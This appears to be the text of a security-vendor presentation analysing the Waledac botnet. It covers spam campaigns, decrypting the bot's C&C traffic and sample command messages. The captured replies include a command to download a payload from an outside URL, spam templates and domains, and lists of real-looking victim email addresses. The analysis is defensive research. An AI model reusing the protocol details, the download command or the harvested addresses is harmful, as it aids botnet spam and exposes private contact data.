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Waledac… an overview

• Not your ordinary worm
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Waledac… an overview

• Not your ordinary Bot
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Waledac… an overview

• Not your ordinary malware
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Monitoring Waledac

Waledac Infected 
Machine

- Packet sniffer

- pcap analyzer

- parser for pcap output

- e-mail viewer

- spam repository

- logs/DB

- Postfix to catch spam e-
mails from going out
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Waledac Seeding Runs (Christmas e-card)
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Waledac Seeding Runs (New Year e-card)



Copyright 2007 - Trend Micro Inc.3/21/17 8Classification

Waledac Seeding Runs (Obama News)
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Waledac Seeding Runs  (Valentines e-card)
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Waledac Seeding Runs  (Coupon Discounts)
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Waledac Seeding Runs  (Bomb Scare)
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Waledac Seeding Runs  (SMS Spy)
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The Waledac Botnet

How does Waledac generate dynamic 
e-mails?
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The Waledac Botnet

Peeking through HTTP traffic…
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The Waledac Botnet

We need to break the encrypted 
traffic!!!
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Breaking the encryption…

Certificate found in the Waledac binary
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Breaking the encryption…

AES key in Waledac binary…
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Breaking the encryption…

Waledac encryption algorithm…



Copyright 2007 - Trend Micro Inc.3/21/17 19Classification

Breaking the encryption…

Waledac decryption algorithm…
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Breaking the encryption…

Sample decryption using sample session…
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Breaking the encryption…

• Replace '-' with ‘+’ and '_' with '/’ in “a=<string>”
• Replace ‘A’ with ‘=‘ in “b=<string>” 
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Breaking the encryption…

• Concatenate strings in “a=<string>” and “b=<string>”, 
you now have a B64 encoded message…
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Breaking the encryption…

• After B64 decode…
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Breaking the encryption…

• After AES decryption…
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Breaking the encryption…

• After BZIP…
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Breaking the encryption…

• XML format
<lm>
<t>getkey</t> command type
<v>34</v> bot version
<i>ab0a762d122d31252c0ba614a6124d23</i> node ID
<r>0</r>
<props>
<p n="cert">-----BEGIN CERTIFICATE----------END CERTIFICATE-----
</p>
</props>
</lm>
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Breaking the encryption…

• Other message/encryption types
• Without “a=<string>” and “b=<string>”
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Breaking the encryption…

• Without command type
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Breaking the encryption…

• Encrypted registry entry
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Breaking the encryption…

• Command Types:
– ff
– 01
– 02
– 03
– 04
– 05
– 06
– 07
– None
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Waledac Commands

• Command Type: ff 
POST
<lm><t>getkey</t><v>33</v><i>1302b4463f55063a6c293a55412a820e</i><r>0</r><props><p n="cert">-----BEGIN 

CERTIFICATE----------END CERTIFICATE-----

Reply
<lm><v>33</v><t>getkey</t><props><p 

n="key">OlslgsUwlnGBHuAkCo0y2XYs2YFkrjDVk0KlVgw/zXohz1Vxr/tTf4aISHfPonNF6YeUIF9DoBR0BqQn+PA4
6zvApSVkrBp0zxya+aUw0ie9DDU6x/DquzKCfTHYXmAGknGGTG411WqgGjBlj6d2sH3wOXhnab186VZk9YMZq7
k=</p></props></lm>
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Waledac Commands

• Command Type: 01 

POST
<lm><t>first</t><v>34</v>
<i>ab0a762d122d31252c0ba614a6124d23</i><r>0</r>
<props><p n="label">mirabella</p><p n="winver">5.1.2600</p></props></lm>

Reply
<lm><v>34</v><t>first</t><props></props></lm>
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Waledac Commands

• Command Type: 02

POST
<lm><t>notify</t><v>34</v><i>1302b4463f55063a6c293a55412a820e</i><r>0</r><props><p 

n="label">mirabella_site</p><p n="time_init">Wed Apr 15 10:52:39 2009
</p><p n="time_now">Fri Apr 17 14:17:59 2009
</p><p n="time_sys">Fri Apr 17 14:22:16 2009
</p><p n="time_ticks">359645109</p></props></lm>

Reply
<lm><v>34</v><t>notify</t><props><p n="ptr">wergvan</p><p n="ip">203.177.193.100</p><p 

n="dns_ip">199.195.113.72</p><p n="smtp_ip">209.85.199.27</p><p n="http_cache_timeout">3600</p><p 
n="sender_threads">13</p><p n="sender_queue">2000</p><p n="short_logs">true</p><p 
n="commands"><![CDATA[340|download|http://nuovosms.com/win.jpg

]]></p></props><dns_zones></dns_zones><dns_hosts></dns_hosts><socks5></socks5><dos></dos><filter></filter><
/lm>
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Waledac Commands

• Command Type: 03 

POST
<lm><t>taskreq</t><v>34</v><i>1302b4463f55063a6c293a55412a820e</i><r>0</r><props></props

></lm>

Reply

<lm><v>27</v><t>taskreq</t><props></props><tasks><task 
id="4"><body>UmVjZWl2ZWQ6IGZyb20gJV5DMCVeUCVeUjMtNl4lOnF3ZXJ0eXVpb3Bhc2RmZ2hqa
2x6eGN2Ym5tXiVeJSAoWyVeQzYlXkleJS4lXkleJS4lXkleJS4lXkleJV4lXSkKCWJ5ICVeQV4lICVeRn
NlbmRtYWlsdmVyXiUgd2l0aCBTTVRQIGlkICVeWSVeQzUlXlIyMC0zMDBeJV4lXiUwNjQ3OTY7Cgkl
XkQlXlY1XiVeJQpNZXNzYWdlLUlEOiA8JV5aXiUuJV5SMS05XiUwJV5SMC05XiUwJV5SMC05XiUwJ
V5SMC05XiVAJV5DMSVeRmRvbWFpbnNeJV4lPgpEYXRlOiAlXkReJQpGcm9tOiAiJV5GbXluYW1lc
14lICVeRnN1cm5hbWVzXiUiIDwlXkZuYW1lc14lQCVeVjFeJT4KVXNlci1BZ2VudDogVGh1bmRlcmJ
pcmQgJV5GdHJ1bnZlcl4lCk1JTUUtVmVyc2lvbjogMS4wClRvOiAlXjBeJQpTdWJqZWN0OiAlXkZwa
GFybWFeJQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9SVNPLTg4NTktMTsgZm9
ybWF0PWZsb3dlZApDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA3Yml0CgolXkolXkZwaGFyb
WFeJSBodHRwOi8vJV5QJV5SMi02XiU6cXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm1ldWlvYV4lLiV
eRnBoYXJtYV9saW5rc14lL14lCg==</body><a>njoffe@corp.phoenixintl.com</a><a>anxietyred@g
mail.com</a><a>kimmercj@wfu.edu</a><a>pllgamet@nebnet.net</a><a>mferguson@np.co.tt</a
><a>romeolafrance@videotron.ca</a><a>reved1@aol.com</a><a>yosta@nbcuni.com</a><a>car
michaeldd@osawa-jp.com</a>
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Waledac Commands
• Command Type: 03 (Reply)
…
<body>JV5IMyVeRnZhbGVfY29tcGFueV4lXiUlXkg0JV5GbXluYW1lc14lXiVSZWNlaXZlZDogZnJvbSAlXkMwJV5Q

JV5SMy02XiU6cXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm1eJV4lIChbJV5DNiVeSV4lLiVeSV4lLiVeSV4lLiVe
SV4lXiVdKSBieSAlXkFeJSB3aXRoIE1pY3Jvc29mdCBTTVRQU1ZDKCVeRnN2Y3Zlcl4lKTsgJV5EXiUKTWVz
c2FnZS1JRDogPCVeTyVeVjZeJTolXlIzLTUwXiVeJSVeVjBeJT4KRnJvbTogIiVeVjReJSIgPCVeRm5hbWVzXi
VAJV5GZG9tYWluc14lPgpUbzogPCVeMF4lPgpTdWJqZWN0OiAlXkZjdXBvX3N0cmluZ14lCkRhdGU6ICVeR
C0lXlIzMC02MDBeJV4lCk1JTUUtVmVyc2lvbjogMS4wCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsKCWZv
cm1hdD1mbG93ZWQ7CgljaGFyc2V0PSIlXkZjaGFyc2V0XiUiOwoJcmVwbHktdHlwZT1vcmlnaW5hbApDb25
0ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA3Yml0ClgtUHJpb3JpdHk6IDMKWC1NU01haWwtUHJpb3JpdHk
6IE5vcm1hbApYLU1haWxlcjogTWljcm9zb2Z0IE91dGxvb2sgRXhwcmVzcyA2LjAwLiVeQzclXkZvdXR2ZXIu
Nl4lXiUKWC1NaW1lT0xFOiBQcm9kdWNlZCBCeSBNaWNyb3NvZnQgTWltZU9MRSBWNi4wMC4lXlY3XiUK
CiVeSiVeRmN1cG9fc3RyaW5nXiUgaHR0cDovLyVeUCVeUjItNl4lOnF3ZXJ0eXVpb3Bhc2RmZ2hqa2x6eGN2
Ym5tZXl1aW9hXiUuJV5GY3Vwb19saW5rXiUvJV5GY3Vwb19maWxlXiUucGhwXiUK</body><a>mbanasik@i
pssa.pl</a><a>fire@ix.netcom.com</a><a>karina.anaya-
ortiz@dhs.gov</a><a>mdonez2005@yahoo.com</a><a>aperegudov@technoserv.ru</a><a>sessa-
virginia@tiscali.it</a>

…
<words><w name="trunver" time="1234183272"/><w name="pharma" time="1236690754"/><w 

name="svcver" time="1233919248"/><w name="outver" time="1233919245"/><w name="domains" 
time="1236988929"/><w name="names" time="1236989403"/><w name="charset" 
time="1233919243"/><w name="pharma_links" time="1236989413"/><w name="mynames" 
time="1233919245"/><w name="outver.6" time="1233919246"/><w name="cupo_string" 
time="1235331549"/><w name="surnames" time="1233919247"/><w name="outver.5" 
time="1233919246"/><w name="cupo_file" time="1235336882"/><w name="sendmailver" 
time="1233919247"/><w name="cupo_link" time="1235404378"/></words></lm> 
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Waledac Commands

• Command Type: 03 (continued)

%^J%^Fpharma^% http://%^P%^R2-
6^%:qwertyuiopasdfghjklzxcvbnmeuioa^%.%^Fphar
ma_links^%/^%

%^J%^Fcupo_string^% http://%^P%^R2-
6^%:qwertyuiopasdfghjklzxcvbnmeyuioa^%.%^Fcup
o_link^%/%^Fcupo_file^%.php^%
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Waledac Commands

• Command Type: 04

POST

<lm><t>words</t><v>33</v><i>1302b4463f55063a6c293a55412a820e</i><r>0</r><props><p 
n="word_name">cupo_string</p></props></lm>

Reply
<lm><v>33</v><t>words</t><props></props><word name="cupo_string"><![CDATA[20-95 % off! Best shops!
A good way to cut down on costs
A good way to save money is to use these coupons
A special discount voucher listing
All discounts in your city
All my friends have already used it
All sales on one site
Amazing coupon&sales to help in crisis
…
]]></word></lm>
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Waledac Commands

• Command Type: 04

POST

<lm><t>words</t><v>34</v><i>1302b4463f55063a6c293a55412a820e</i><r>0</r><props><p 
n="word_name">cupo_link</p></props></lm>

Reply
<lm><v>34</v><t>words</t><props></props><word name="cupo_link"><![CDATA[thecoupondiscount.com
greatcouponclub.com
codecouponsite.com
yourcountycoupon.com
bestcouponfree.com
smartsalesgroup.com
greatsalestax.com
supersalesonline.com
greatsalesgroup.com
greatsalesavailable.com
]]></word></lm>
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Waledac Commands

• Command Type: 04

POST
<lm><t>words</t><v>33</v><i>1302b4463f55063a6c293a55412a820e</i><r>0</r><props><p 

n="word_name">cupo_file</p></props></lm>

Reply
<lm><v>33</v><t>words</t><props></props><word name="cupo_file"><![CDATA[coupons
coupon
list
discounts
saleslist
salelist
sale
couponlist
couponslist
disc
sales
print
save
run
stopcrisis
nocrisis
]]></word></lm>
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Waledac Commands

• Command Type: 05

POST
<lm><t>taskrep</t><v>34</v><i>1302b4463f55063a6c293a55412a820e</i><r>0</r><props><p 

n="b64">true</p></props><reports><rep id="4" 
rcpt="YnJlbmRhLmxhcnNlbkBjYW5hZGFwb3N0LmNh">ERR</rep><rep id="4" 
rcpt="bWFnaWNhbGtpcmFAeWFob28uY28uanA=">ERR</rep><rep id="4" 
rcpt="c3VlZEBtY3BpbnMuY29t">ERR</rep><rep id="4" 
rcpt="YnJ1Y2UuZS5yaWVkZUB1bmlsZXZlci5jb20=">OK</rep><rep id="4" 
rcpt="ZC5wcnp5Ynl0bmlha0ByemVjenBvc3BvbGl0YS5wbA==">OK</rep><rep id="4" 
rcpt="Ym9iX211ZWxsbmVyQGxhZ2FuLmNvbQ==">OK</rep><rep id="4" 
rcpt="bWlzcy1tYXJqYW5udWhAaHl2ZXMubmw=">OK</rep><rep id="4" 
rcpt="YW5uYW15ZXJzQHZwc2IuazEyLmxhLnVz">OK</rep><rep id="4" 
rcpt="dG9qb0B0b21lbmRldmljZXMuY29tLmhr">OK</rep><rep id="4" 
rcpt="bHN0dWl2ZUBnbWFpbC5jb20=">OK</rep><rep id="4" 
… 
rcpt="aGFuc2hzaWVoQGVtcGlhdGVjaC5jb20=">OK</rep><rep id="4" <rep id="4" 
rcpt="dmVua2F0LmphbGFnYW1AZ21haWwuY29t">ERR</rep></reports></lm>

Reply
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Waledac Commands

• Command Type: 07

POST

<lm><t>emails</t><v>33</v><i>f354c452d248956636628b3210726273</i><r>0</r><props></props><emails><![CDA
TA[edward.beili@actelis.com

kzm@cisco.com
kzm@cisco.com
kevin.gibbons@mcdata.com
charles_monia@yahoo.com
joshtseng@yahoo.com
travos@nortel.com
dthaler@microsoft.com
j.schoenwaelder@iu-bremen.de
]]></emails></lm>

Reply
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Questions?


